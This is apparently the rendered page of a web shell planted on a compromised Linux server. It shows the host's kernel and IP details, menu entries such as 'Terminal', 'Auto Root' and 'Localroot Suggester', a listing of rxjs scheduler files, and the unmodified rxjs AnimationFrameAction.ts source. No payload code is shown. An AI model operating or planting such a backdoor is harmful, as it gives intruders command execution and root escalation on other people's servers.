Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.219.197.162
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
node_modules /
rxjs /
src /
scheduler /
Delete
Unzip
Name
Size
Permission
Date
Action
Action.ts
1.21
KB
-rw-rw-r--
2022-08-30 11:49
AnimationFrameAction.ts
2.05
KB
-rw-rw-r--
2022-08-30 11:49
AnimationFrameScheduler.ts
756
B
-rw-rw-r--
2022-08-30 11:49
AsapAction.ts
1.92
KB
-rw-rw-r--
2022-08-30 11:49
AsapScheduler.ts
746
B
-rw-rw-r--
2022-08-30 11:49
AsyncAction.ts
4.84
KB
-rw-rw-r--
2022-08-30 11:49
AsyncScheduler.ts
1.08
KB
-rw-rw-r--
2022-08-30 11:49
QueueAction.ts
1.35
KB
-rw-rw-r--
2022-08-30 11:49
QueueScheduler.ts
107
B
-rw-rw-r--
2022-08-30 11:49
VirtualTimeScheduler.ts
2.89
KB
-rw-rw-r--
2022-08-30 11:49
animationFrame.ts
1.18
KB
-rw-rw-r--
2022-08-30 11:49
asap.ts
1.56
KB
-rw-rw-r--
2022-08-30 11:49
async.ts
1.38
KB
-rw-rw-r--
2022-08-30 11:49
queue.ts
1.91
KB
-rw-rw-r--
2022-08-30 11:49
Save
Rename
import { AsyncAction } from './AsyncAction'; import { AnimationFrame } from '../util/AnimationFrame'; import { AnimationFrameScheduler } from './AnimationFrameScheduler'; /** * We need this JSDoc comment for affecting ESDoc. * @ignore * @extends {Ignored} */ export class AnimationFrameAction<T> extends AsyncAction<T> { constructor(protected scheduler: AnimationFrameScheduler, protected work: (this: AnimationFrameAction<T>, state?: T) => void) { super(scheduler, work); } protected requestAsyncId(scheduler: AnimationFrameScheduler, id?: any, delay: number = 0): any { // If delay is greater than 0, request as an async action. if (delay !== null && delay > 0) { return super.requestAsyncId(scheduler, id, delay); } // Push the action to the end of the scheduler queue. scheduler.actions.push(this); // If an animation frame has already been requested, don't request another // one. If an animation frame hasn't been requested yet, request one. Return // the current animation frame request id. return scheduler.scheduled || (scheduler.scheduled = AnimationFrame.requestAnimationFrame( scheduler.flush.bind(scheduler, null) )); } protected recycleAsyncId(scheduler: AnimationFrameScheduler, id?: any, delay: number = 0): any { // If delay exists and is greater than 0, or if the delay is null (the // action wasn't rescheduled) but was originally scheduled as an async // action, then recycle as an async action. if ((delay !== null && delay > 0) || (delay === null && this.delay > 0)) { return super.recycleAsyncId(scheduler, id, delay); } // If the scheduler queue is empty, cancel the requested animation frame and // set the scheduled flag to undefined so the next AnimationFrameAction will // request its own. if (scheduler.actions.length === 0) { AnimationFrame.cancelAnimationFrame(id); scheduler.scheduled = undefined; } // Return undefined so the action knows to request a new async id if it's rescheduled. return undefined; } }